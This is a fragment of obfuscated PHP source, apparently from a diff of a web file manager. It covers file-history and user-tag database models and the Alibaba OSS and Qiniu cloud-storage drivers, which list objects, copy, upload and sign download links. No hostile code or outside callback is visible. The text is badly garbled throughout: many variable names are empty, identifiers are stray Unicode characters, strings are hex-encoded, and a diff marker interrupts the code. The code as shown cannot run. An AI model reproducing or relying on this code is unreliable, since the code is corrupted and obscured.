"{$}\x69\x6f\137\x66\x69\x6c\145\40\x66\x69\x6c\x65\x73\40\x6f\156\40\146\x69\x6c\x65\163\56\x66\151\x6c\x65\x49\x44\40\x3d\40\150\151\163\164\157\162\x79\56\x66\x69\x6c\145\x49\104"; return $this->alias($Ǘ[2153])->where(array($Ǘ[463] => $⴦ݵ))->join($, $Ǘ[2154])->find(); } public function removeItem($յ) { $ =& $_SERVER[ʇ]; $̦ = array($[463] => $յ); $Ŧ = $this->where($̦)->find(); if ($Ŧ) { $ = $this->where($̦)->delete(); Model($[514])->remove($Ŧ[$[511]]); return $; } return !1; } public function removeBySource($ڧ֓) { $ =& $_SERVER[ʇ]; if (!$ڧ֓) { return !1; } if (!is_array($ڧ֓)) { $ڧ֓ = array($ڧ֓); } $ʣ = array($[461] => array($[7], $ڧ֓)); $ܓ = $this->field($[512])->where($ʣ)->select(); if ($ܓ) { $this->where($ʣ)->delete(); $ = array_to_keyvalue($ܓ, $[12], $[511]); Model($[514])->remove($); } return !0; } public function setDetail($, $֯) { $ =& $_SERVER[ʇ]; return $this->where(array($[463] => $))->save(array($[2144] => $֯)); } public function rollbackToItem($, $ő) { $ =& $_SERVER[ʇ]; $ = Model($[871])->sourceInfo($); $this->addHistory($, LNG($[2155])); $󼤫 = $this->find($ő); $֝ = array($[511] => $󼤫[$[511]], $[78] => $󼤫[$[78]], $[87] => time(), $[499] => USER_ID); Model($[871])->where(array($[183] => $))->save($֝); return $this->where(array($[463] => $ő))->delete(); } public function clearSame($) { $Λ =& $_SERVER[ʇ]; $ʁ = $this->listData($); $ș = array_to_keyvalue_group($ʁ, $Λ[511]); $Ӻګ = array(); $ = array(); foreach ($ș as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $ڞץ) { $Ӻګ[] = $ڞץ[$Λ[511]]; $[] = $ڞץ[$Λ[445]]; } } if (!$) { return; } $this->where(array($Λ[445] => array($Λ[7], $)))->delete(); Model($Λ[514])->remove($Ӻګ); } public function userSpace() { $ =& $_SERVER[ʇ]; $ѣ = $this->tablePrefix; $ƺ = array($[1692] => USER_ID); $ζ = "{$ѣ}\151\x6f\x5f\146\x69\154\x65\40\146\x69\154\x65\x73\40\157\x6e\40\x66\151\154\145\163\x2e\x66\x69\x6c\x65\x49\x44\x20\x3d\x20\x68\x69\x73\x74\x6f\x72\x79\56\146\x69\154\145\111\x44"; return $this->alias($[2153])->where($ƺ)->join($ζ, $[2154])->sum($[78]); } } goto dס; a޾: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\163\145\162\x5f\146\x61\166"; protected function cacheFunctionAlias($) { $᯼ =& $_SERVER[ʇ]; return array($᯼[2010] => array($᯼[2401] . USER_ID, $᯼[2011])); } protected function listData() { $͎ۚ =& $_SERVER[ʇ]; $Μ = array($͎ۚ[1692] => USER_ID, $͎ۚ[528] => array($͎ۚ[2014], 0)); $ґ = $͎ۚ[2402]; $ = $this->field($ґ)->where($Μ)->order($͎ۚ[2017])->select(); return $ ? $ : array(); } protected function addToTag($, $я) { $ᇺ =& $_SERVER[ʇ]; if (!Model($ᇺ[2160])->listData($я)) { return !1; } if (is_numeric($)) { $뎶 = Model($ᇺ[871])->pathInfo($); if (!$뎶) { return !1; } } else { $뎶 = IO::infoSimple($); if (!$뎶) { return !1; } $ȧԸ = $뎶[$ᇺ[32]]; $ = $뎶[$ᇺ[33]]; if (isset($뎶[$ᇺ[455]])) { $ = $뎶[$ᇺ[455]] == $ᇺ[90] ? $ᇺ[77] : $ᇺ[216]; } } $٧ = array($ᇺ[1692] => USER_ID, $ᇺ[528] => $я, $ᇺ[465] => $, $ᇺ[466] => $ ? $ : $ᇺ[460], $ᇺ[464] => $ȧԸ ? $ȧԸ : $ᇺ[12], $ᇺ[1903] => 0); if ($this->where($٧)->find()) { return !1; } return $this->add($٧); } protected function removeFromTag($颬, $Ы) { $Ȃ =& $_SERVER[ʇ]; if (!Model($Ȃ[2160])->listData($Ы)) { return !1; } if (is_array($颬)) { $颬 = array($Ȃ[7], $颬); } $ = array($Ȃ[1692] => USER_ID, $Ȃ[528] => $Ы, $Ȃ[465] => $颬); return $this->where($)->delete(); } protected function removeByTag($) { $ˣ =& $_SERVER[ʇ]; if (!$) { return !1; } $ = array($ˣ[1692] => USER_ID, $ˣ[528] => $); return $this->where($)->delete(); } protected function removeBySource($) { $ =& $_SERVER[ʇ]; if (is_array($)) { $ = array($[7], $); } $൲ = array($[1692] => USER_ID, $[528] => array($[1061], 0), $[465] => $); return $this->where($൲)->delete(); } } \ No newline at end of file + goto b; Aړۘ: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($ͺ) { parent::__construct(); include_once SDK_DIR . $_SERVER[砐][1422]; $this->_init($ͺ); } public function _init($) { $گ =& $_SERVER[砐]; $this->config = $; foreach ($ as $ => $ȿ) { if (isset($this->{$})) { $this->{$} = $ȿ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($گ[1423] . LNG($گ[1424])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ߎ =& $_SERVER[砐]; $ = new OSS\Model\CorsConfig(); $튈 = new OSS\Model\CorsRule(); $튈->addAllowedOrigin($ߎ[1425]); $튈->addAllowedMethod($ߎ[1426]); $튈->addAllowedMethod($ߎ[1427]); $튈->addAllowedMethod($ߎ[1428]); $튈->addAllowedMethod($ߎ[1429]); $튈->addAllowedMethod($ߎ[163]); $튈->setMaxAgeSeconds(600); $튈->addExposeHeader($ߎ[1430]); $튈->addAllowedHeader($ߎ[1425]); $->addRule($튈); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $ͷ) { return !1; } return !0; } public function getBucketCors() { $ۂ =& $_SERVER[砐]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $◒ˑ) { return null; } if (!$ || !($ܼ = $->getRules())) { return null; } $٥ = $ܼ[0]->getAllowedOrigins(); $ = $ܼ[0]->getAllowedMethods(); $嵽 = $ܼ[0]->getMaxAgeSeconds(); $Ę = $ܼ[0]->getExposeHeaders(); $Ÿ = $ܼ[0]->getAllowedHeaders(); return array($ۂ[204] => isset($٥[0]) ? $٥[0] : $ۂ[12], $ۂ[208] => $, $ۂ[1431] => $嵽, $ۂ[1432] => isset($Ę[0]) ? $Ę[0] : $ۂ[12], $ۂ[206] => isset($Ÿ[0]) ? $Ÿ[0] : $ۂ[12]); } public function isBucketCors() { $ =& $_SERVER[砐]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[204]] != $[205] || $[$[206]] != $[205]) { return !1; } $ = array_map($[207], $[$[208]]); if (!is_array($)) { $ = array(); } $ = array($[209], $[210], $[211], $[212], $[213]); $闛 = array_diff($, $); return empty($闛); } public function mkfile($ѻֽ, $ = '', $鵶׳ = REPEAT_RENAME) { $싵 = $this->setContent($ѻֽ, $); if ($싵 !== !1) { return $this->getPathOuter($ѻֽ); } return !1; } public function mkdir($ɯ, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($ɯ)) { return $this->getPathOuter($ɯ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ɯ)); } catch (OSS\Core\OssException $¹ӓ) { return !1; } return $this->getPathOuter($ɯ); } private function fileList($³, $ސ = '', $Չ = 0) { $ =& $_SERVER[砐]; $³ = trim($³, $[8]); $ݵƢ = empty($³) && $³ !== $[214] ? $[12] : $³ . $[8]; $㋽ = $[12]; $ = 1000; $ˏެ = $ = array(); while (!0) { check_abort(); $ = array($[1433] => $ސ, $[1434] => $ݵƢ, $[1435] => $, $[1436] => $㋽); try { $֪ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $헨) { break; } $㋽ = $֪->getNextMarker(); $ = $֪->getObjectList(); $Ч = $֪->getPrefixList(); foreach ($ as $ӎ) { if ($ӎ->getKey() == $ݵƢ) { continue; } $ = $ӎ->getKey(); $ڻ = $ӎ->getSize(); $ә = $ӎ->getLastModified(); $ = trim($ӎ->getETag(), $[120]); $ϸ = $Չ ? array($[32] => $, $[78] => $ڻ, $[196] => strtotime($ә), $[1437] => $) : $; $΂ = $ڻ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $쪘 = array($[78] => $ڻ, $[1438] => $ڻ, $[87] => strtotime($ә), $[1439] => $ә, $[1437] => $); $this->cacheMethodInfoSet($, $΂, $쪘); if ($΂) { $ˏެ[] = $; continue; } $[] = $ϸ; } foreach ($Ч as $㌵) { $ˏެ[] = $㌵->getPrefix(); $this->cacheMethodInfoSet($㌵->getPrefix(), !0); } if ($㋽ === $[12]) { break; } } $this->cacheMethodInfoSet($³, !0); return array($[84] => $ˏެ, $[85] => $); } public function copyFile($ȡ, $) { $Ƶ = $this->size($ȡ); if ($Ƶ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ȡ, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } $ = $this->multiCopyObject($ȡ, $, $Ƶ); return $ ? $this->getPathOuter($) : !1; } private function multiCopyObject($٘, $ˠ΂, $) { $ =& $_SERVER[砐]; try { $ = array(); if ($ = $this->hashMd5($٘)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1440] => $)); } $ꓖ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ˠ΂), $); $ɰЕߘ = 1; $ҭ = 0; $׽ = array(); $Ŷ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($, $Ŷ); foreach ($ as $ֶ => $›) { $ʱ = $ҭ + (int) $›[$[1441]]; $腐 = (int) $›[$[383]] + $ʱ - 1; $ = array($[1442] => $ʱ, $[1443] => $腐); $׽[] = $this->client->uploadPartCopy($this->bucket, $٘, $this->bucket, $this->pathEncode($ˠ΂), $ɰЕߘ, $ꓖ, $); $ɰЕߘ = $ɰЕߘ + 1; } $袄 = array(); foreach ($׽ as $ֶ => $Ϸ֮) { $袄[] = array($[1444] => $ֶ + 1, $[1445] => $Ϸ֮); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ˠ΂), $ꓖ, $袄); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function moveFile($ȫ޲, $) { if ($this->copyFile($ȫ޲, $)) { $this->remove($ȫ޲); return $this->getPathOuter($); } return !1; } public function delFile($ܿ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($ܿ)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($ڞ) { $ =& $_SERVER[砐]; if (!$this->exist($ڞ)) { return !0; } $this->listItemCache = !1; $ר = $this->fileList($ڞ); $this->listItemCache = !0; $Їж = trim($ڞ, $[8]) . $[8]; if (!empty($ڞ) && $ڞ !== $[214] && !in_array($Їж, $ר[$[84]])) { $ר[$[84]][] = $Їж; } $Օ = $this->delByBatch($ר[$[85]]); if (!$Օ) { return !1; } $Օ = $this->delByBatch($ר[$[84]]); if (!$Օ) { return !1; } return $this->delFile($Їж); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($ʨ, $ے) { return $this->renameObject($ʨ, $ے); } private function fileInfo($‧, $ܧӈ = false, $ٽ = array()) { $ҭ =& $_SERVER[砐]; $ݽ = array($ҭ[32] => $this->pathThis($‧), $ҭ[86] => $this->getPathOuter($‧), $ҭ[33] => $ҭ[216], $ҭ[78] => isset($ٽ[$ҭ[78]]) ? $ٽ[$ҭ[78]] : 0, $ҭ[177] => $this->ext($‧)); if ($ܧӈ) { return $ݽ; } $ݽ[$ҭ[217]] = $ݽ[$ҭ[87]] = 0; $ݽ[$ҭ[218]] = $ݽ[$ҭ[219]] = !0; if (empty($ٽ)) { $ = $this->objectMeta($‧); if (!$) { return $ݽ; } $ٽ = array($ҭ[87] => strtotime($[$ҭ[1439]]), $ҭ[78] => $[$ҭ[1438]] + 0, $ҭ[1437] => $[$ҭ[1437]]); } if (isset($ٽ[$ҭ[1437]]) && $ٽ[$ҭ[1437]]) { $ݽ[$ҭ[221]] = trim($ٽ[$ҭ[1437]], $ҭ[120]); } if (isset($ٽ[$ҭ[78]])) { $ݽ[$ҭ[78]] = $ٽ[$ҭ[78]]; } if (isset($ٽ[$ҭ[87]])) { $ݽ[$ҭ[87]] = $ٽ[$ҭ[87]]; } if (isset($ٽ[$ҭ[196]]) && !trim($ݽ[$ҭ[87]])) { $ݽ[$ҭ[87]] = $ٽ[$ҭ[196]]; } return $ݽ; } private function folderInfo($م, $ڽ = false, $ = array()) { $٠ =& $_SERVER[砐]; $ڹ͞ = array($٠[32] => $this->pathThis($م), $٠[86] => $this->getPathOuter($٠[8] . $م), $٠[33] => $٠[77]); if ($ڽ) { return $ڹ͞; } $ڹ͞[$٠[217]] = $ڹ͞[$٠[87]] = 0; $ڹ͞[$٠[218]] = $ڹ͞[$٠[219]] = !0; if (empty($)) { $م = rtrim($م, $٠[8]) . $٠[8]; $Ґ = $this->objectMeta($م); if (!$Ґ) { return $ڹ͞; } $ = array($٠[217] => $Ґ[$٠[546]][$٠[1446]], $٠[87] => strtotime($Ґ[$٠[1439]])); } if (isset($[$٠[87]])) { $ڹ͞[$٠[87]] = $[$٠[87]]; } if (isset($[$٠[217]])) { $ڹ͞[$٠[217]] = $[$٠[217]]; } return $ڹ͞; } public function listPath($, $ = false) { $ׂ =& $_SERVER[砐]; $캓 = $this->fileList($, $ׂ[8], !0); foreach ($캓[$ׂ[84]] as $ => $¸) { $캓[$ׂ[84]][$] = $this->folderInfo($¸, $, $¸); } foreach ($캓[$ׂ[85]] as $ => $¸) { $캓[$ׂ[85]][$] = $this->fileInfo($¸[$ׂ[32]], $, $¸); } return $캓; } protected function infoChildren($֝, &$̃) { $񠟬 =& $_SERVER[砐]; $ۍ = $this->fileList($֝, $񠟬[12], !0); $̃[$񠟬[80]] += count($ۍ[$񠟬[84]]); $̃[$񠟬[79]] += count($ۍ[$񠟬[85]]); foreach ($ۍ[$񠟬[85]] as $) { if (!$ || !$[$񠟬[78]]) { continue; } $̃[$񠟬[78]] += $[$񠟬[78]]; } } public function has($ڈ, $쥭 = false, $ψ = true) { $Ԗ =& $_SERVER[砐]; $ڈ = trim($ڈ, $Ԗ[8]); $ = empty($ڈ) && $ڈ !== $Ԗ[214] ? $Ԗ[12] : $ڈ . $Ԗ[8]; $ = $Ԗ[12]; $ = 500; $Ō = $ = 0; while (!0) { check_abort(); $ = array($Ԗ[1433] => $Ԗ[8], $Ԗ[1434] => $, $Ԗ[1435] => $, $Ԗ[1436] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { break; } $ = $->getNextMarker(); $ގᯢ = $->getObjectList(); $α = $->getPrefixList(); if ($쥭) { if (count($ގᯢ) > 1 || count($ގᯢ) == 1 && $ގᯢ[0]->getKey() != $) { $Ō += count($ގᯢ) - 1; } if (!empty($α)) { $ += count($α); } if ($ === $Ԗ[12]) { break; } continue; } if ($ψ) { if (!empty($ގᯢ)) { if (count($ގᯢ) > 1 || $ގᯢ[0]->getKey() != $) { return !0; } } } else { if (!empty($α)) { return !0; } } if ($ === $Ԗ[12]) { break; } } if ($쥭) { return array($Ԗ[225] => $Ō, $Ԗ[226] => $); } return !1; } public function listAll($) { $ =& $_SERVER[砐]; $ = $this->fileList($, $[12], !0); $ȳ = array_to_keyvalue($[$[85]], $[32]); foreach ($[$[84]] as $) { if (is_string($)) { $ȳ[$] = array($[78] => 0); } } return $this->listAllFiles($, $ȳ); } public function canRead($̼ˬ) { $ó܇ =& $_SERVER[砐]; $ь = $this->pathAcl($̼ˬ); return $ь == $ó܇[1447] || $ь == $ó܇[589] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[砐][589] ? !0 : !1; } public function pathAcl($) { $Ł =& $_SERVER[砐]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $게 = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ǰ) { return !1; } $ = $게 == $Ł[37] ? $this->bucketAcl : $게; if ($ == $Ł[1448]) { return $Ł[1447]; } if ($ == $Ł[1449]) { return $Ł[589]; } return $; } private function chmodPath($, $⦖ = '') { $ =& $_SERVER[砐]; $ = empty($⦖) ? $[1449] : $⦖; $۳ = array($[37], $[215], $[1448], $[1449]); if (!in_array($, $۳)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $Ǯ) { return !1; } return !0; } public function getContent($ך) { return $this->fileSubstr($ך, -1); } public function setContent($و, $ɴ = '') { $ =& $_SERVER[砐]; try { $쁆 = $this->trafficLimit($[1450]); $ = $this->client->putObject($this->bucket, $this->pathEncode($و), $ɴ, $쁆); } catch (OSS\Core\OssException $؜) { return !1; } $ = array($[1440] => trim($[$[1437]], $[120]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($و))); $this->updateObjMeta($و, $); return isset($[$[1451]][$[277]]) ? !0 : !1; } private function updateObjMeta($, $ь) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $ь); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($, $, $ = false, $ޝ = REPEAT_REPLACE) { $ =& $_SERVER[砐]; $ = trim($, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1440] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->trafficLimit($[1450], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } public function getHost() { $ =& $_SERVER[砐]; $ = explode($[200], parent::getHost()); return $[0] . $[200] . $this->bucket . $[10] . $[1]; } public function uploadFormData($҄, $ី = 3600) { $ҳ =& $_SERVER[砐]; if (!($ = $this->getHost())) { return !1; } $ = $ី; $ܻ = date($ҳ[1452], time() + $); $ϡ = new DateTime($ܻ); $ = $ϡ->format(DateTime::ISO8601); $ = strpos($, $ҳ[342]); $ = substr($, 0, $) . $ҳ[1453]; $ = 1048576000 * 5; $毙 = $this->pathFather($҄); $ž = array($ҳ[260] => $, $ҳ[263] => array(array($ҳ[1454], 0, $), array($ҳ[266], $ҳ[267], $毙))); $痂 = base64_encode(json_encode($ž)); $˰ = base64_encode(hash_hmac($ҳ[249], $痂, $this->secret, !0)); $՞ = array($ҳ[278] => $痂, $ҳ[1455] => $this->accessKey, $ҳ[270] => $ҳ[259], $ҳ[1456] => $˰, $ҳ[198] => $); $՞ = $this->trafficLimit($ҳ[1450], $՞); return $՞; } public function multiUploadFormData($Ɯ, $瓶 = 3600) { $魤 =& $_SERVER[砐]; if (!($ͣ唪 = $this->getHost())) { return !1; } $苽 = $this->trafficLimit($魤[1450]); $˹ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($Ɯ), $苽); return array($魤[240] => $˹, $魤[198] => $ͣ唪 . $魤[8] . $this->pathEncode($Ɯ), $魤[241] => gmdate($魤[1457]), $魤[96] => $Ɯ); } public function multiUploadAuthData($, $Ȥ = array()) { $옮 =& $_SERVER[砐]; $ = isset($Ȥ[$옮[241]]) ? $Ȥ[$옮[241]] : gmdate($옮[1457]); $٭ = isset($Ȥ[$옮[177]]) ? $Ȥ[$옮[177]] : $옮[12]; $ܲ = $; if (isset($Ȥ[$옮[96]])) { $ܲ = $Ȥ[$옮[96]]; unset($Ȥ[$옮[96]]); } if (isset($Ȥ[$옮[242]])) { $Ȥ[$옮[241]] = $; return $this->listUploadParts($ܲ, $Ȥ); } $ӟ = array($옮[243], $옮[12], $옮[122], $, "\x78\x2d\x6f\x73\x73\55\x64\141\164\145\72{$}", $옮[8] . $this->bucket . $옮[8] . $ܲ . $٭); if (strpos($٭, $옮[244]) === 0) { $ӟ[0] = $옮[245]; if ($Ɇ = $this->trafficLimit($옮[1450])) { $ܲ = $옮[1458]; array_splice($ӟ, 5, 0, $ܲ . $옮[4] . $Ɇ[$ܲ]); } } if (isset($Ȥ[$옮[246]]) && $Ȥ[$옮[246]] == $옮[247]) { $ӟ[0] = $옮[247]; } if (!empty($Ȥ[$옮[1459]])) { $ = array_merge(array($ӟ[4]), $Ȥ[$옮[1459]]); sort($); $ӟ[4] = implode($옮[248], $); } $ݼ = implode($옮[248], $ӟ); $ڹ = base64_encode(hash_hmac($옮[249], $ݼ, $this->secret, !0)); $ک = $옮[1423] . $this->accessKey . $옮[4] . $ڹ; if (strpos($٭, $옮[244]) === 0) { $ک = array($옮[251] => $ک, $옮[241] => $); if ($Ɇ) { $ک = array_merge($ک, $Ɇ); } } return $ک; } public function listUploadParts($, $) { $ܼ =& $_SERVER[砐]; $ = parse_url_query($[$ܼ[177]]); $ݕԪ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$ܼ[240]]); $ = $ݕԪ->getListPart(); $ؑ = array(); foreach ($ as $數) { $ؑ[] = array($ܼ[1444] => $數->getPartNumber(), $ܼ[1445] => trim($數->getETag(), $ܼ[120])); } unset($[$ܼ[242]], $[$ܼ[246]]); $ʹ = $this->multiUploadAuthData($, $); if (empty($ʹ)) { return !1; } return array($ܼ[251] => $ʹ, $ܼ[241] => $[$ܼ[241]], $ܼ[253] => $ؑ); } public function download($, $˧) { if ($this->isFolder($)) { return !1; } try { $Ҙ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $˧); $Ҙ = $this->trafficLimit($_SERVER[砐][111], $Ҙ); $this->client->getObject($this->bucket, $this->pathEncode($), $Ҙ); } catch (OSS\Core\OssException $ٓ) { return !1; } return $˧; } public function fileSubstr($Ǭ, $ʘ = 0, $ = false) { if ($ʘ === -1) { $ = array(); } else { if ($ === !1) { $ = $this->size($Ǭ); } else { $ = $ʘ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$ʘ}\x2d{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($Ǭ), $); } catch (OSS\Core\OssException $ߟ) { think_exception($ߟ->getMessage()); return !1; } } private function trafficLimit($ۿ, $椲 = array()) { $ =& $_SERVER[砐]; if ($ۿ == $[1450] && $this->isUploadServer() || $ۿ == $[111] && $this->isFileOutServer()) { return $椲; } $򦿆 = floatval($GLOBALS[$[6]][$[91]][$[109]][$ۿ]) * 1024 * 1024 * 8; if (!$򦿆) { return $椲; } $򦿆 = $򦿆 < 819200 ? 819200 : ($򦿆 > 838860800 ? 838860800 : $򦿆); $椲[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($򦿆); return $椲; } public function link($, $ڗ = array()) { $ =& $_SERVER[砐]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ڗ = $this->trafficLimit($[111], $ڗ); $ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[247], $ڗ); return $this->getCdnLink($); } catch (OSS\Core\OssException $䟝) { return !1; } } public function fileOut($襷, $ = false, $ҡ = false, $ = '') { $ٓ =& $_SERVER[砐]; if ($this->isFileOutServer()) { return $this->fileOutServer($襷, $, $ҡ, $); } if (!$ҡ) { $ҡ = $this->pathThis($襷); } $ҡ = rawurlencode($ҡ); $ = get_file_mime(get_path_ext($ҡ)); if ($ == $ٓ[234]) { return parent::fileOut($襷, $, $ҡ, $); } $ = $ ? $ٓ[1460] : $ٓ[1461]; $ߒ = array(OSS\OssClient::OSS_SUB_RESOURCE => $ٓ[1462] . rawurlencode("{$}\73\146\151\x6c\145\x6e\141\155\145\75{$ҡ}")); $ߒ[OSS\OssClient::OSS_SUB_RESOURCE] .= $ٓ[1463] . rawurlencode($); $ = $this->link($襷, $ߒ); $this->fileOutLink($); } public function fileOutServer($߁, $ڜ = false, $ҝ = false, $ = '') { parent::fileOut($߁, $ڜ, $ҝ, $); } public function fileOutImage($, $Ғ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $Ғ); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[砐][1420] . $Ғ); $鳏 = $this->link($, $); $this->fileOutLink($鳏); } public function fileOutImageServer($, $Ř = 250) { parent::fileOutImage($, $Ř); } public function fileOutLink($) { $ =& $_SERVER[砐]; if (!$this->isCdnHost() && substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } public function hashMd5($Աוɝ, $ = '') { $؉ =& $_SERVER[砐]; $݅ = $this->_objectMeta($Աוɝ); if (!$݅) { return $؉[12]; } if (!isset($݅[$؉[1440]]) && !empty($)) { $ = $this->updateObjMeta($Աוɝ, array($؉[1440] => $)); $݅[$؉[1440]] = $ ? $ : $؉[12]; } return isset($݅[$؉[1440]]) ? strtolower($݅[$؉[1440]]) : $؉[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[砐][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($Ү) { return $this->isFile($Ү) || $this->isFolder($Ү); } public function isFile($ͽ) { return !$this->isFolder($ͽ) && $this->objectMeta($ͽ); } public function isFolder($Ԙԗ) { return $this->cacheMethod($_SERVER[砐][168], $Ԙԗ); } protected function objectMeta($ҍ) { return $this->cacheMethod($_SERVER[砐][170], $ҍ); } protected function _objectMeta($Ɍ) { $֊θ =& $_SERVER[砐]; try { $贌 = $this->client->getObjectMeta($this->bucket, $this->pathEncode($Ɍ)); } catch (OSS\Core\OssException $Ҙ) { $贌 = !1; } if ($贌) { $贌[$֊θ[78]] = intval($贌[$֊θ[1438]]); } return $贌; } protected function _isFolder($) { $Ɠ =& $_SERVER[砐]; if ($ == $Ɠ[12] || $ == $Ɠ[8]) { return !0; } $ = array($Ɠ[1433] => $Ɠ[8], $Ɠ[1434] => rtrim($, $Ɠ[8]) . $Ɠ[8], $Ɠ[1435] => 1, $Ɠ[1436] => $Ɠ[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[砐][1464]; $this->_init($); } public function _init($) { $ə =& $_SERVER[砐]; $this->config = $; foreach ($ as $dž => $ȷ) { if (isset($this->{$dž})) { $this->{$dž} = $ȷ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ə[1465] . LNG($ə[1424])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ƥ, $ފ = '', $㴬 = REPEAT_RENAME) { if ($this->setContent($ƥ, $ފ)) { return $this->getPathOuter($ƥ); } return !1; } public function mkdir($, $چ = REPEAT_SKIP) { $޽Ď =& $_SERVER[砐]; $Ɖ = trim($, $޽Ď[8]); if ($this->_isFolder($Ɖ)) { return $this->getPathOuter($Ɖ); } $ = $Ɖ . $޽Ď[8]; $ۂ = get_path_this($Ɖ); $ђ = $ . $ۂ; if (!$this->mkfile($ђ)) { return !1; } if (!$this->moveFile($ђ, $)) { $this->delFile($ђ); return !1; } return $this->getPathOuter($Ɖ); } public function copyFile($昡, $۔) { $ = $this->bucketManager->copy($this->bucket, $昡, $this->bucket, $۔, !0); return $ ? !1 : $this->getPathOuter($۔); } public function moveFile($ƨ, $ϸ) { $댒 = $this->bucketManager->move($this->bucket, $ƨ, $this->bucket, $ϸ, !0); return $댒 ? !1 : $this->getPathOuter($ϸ); } public function delFile($ԃ) { if (!$this->exist($ԃ)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $ԃ); return $ ? !1 : !0; } public function delFolder($Ժ) { $Ә䜾 =& $_SERVER[砐]; if (!$this->exist($Ժ)) { return !0; } $this->listItemCache = !1; $瘫 = $this->fileList($Ժ); $this->listItemCache = !0; $ȷ = trim($Ժ, $Ә䜾[8]) . $Ә䜾[8]; if (!empty($Ժ) && $Ժ !== $Ә䜾[214] && !in_array($ȷ, $瘫[$Ә䜾[84]])) { $瘫[$Ә䜾[84]][] = $ȷ; } $ = $this->delByBatch($瘫[$Ә䜾[85]]); if (!$) { return !1; } $ = $this->delByBatch($瘫[$Ә䜾[84]]); if (!$) { return !1; } return $this->delFile($ȷ); } private function delByBatch($ę) { foreach (array_chunk($ę, 1000) as $Ґ) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $Ґ); list($, $) = $this->bucketManager->batch($); if ($) { return !1; } } return !0; } public function rename($, $Ҍ) { return $this->renameObject($, $Ҍ); } public function fileInfo($ؼ, $ = false, $ = array()) { $ =& $_SERVER[砐]; $͚ = array($[32] => $this->pathThis($ؼ), $[86] => $this->getPathOuter($[8] . $ؼ), $[33] => $[216], $[78] => isset($[$[1466]]) ? $[$[1466]] : 0, $[177] => $this->ext($ؼ)); if ($) { return $͚; } $͚[$[217]] = 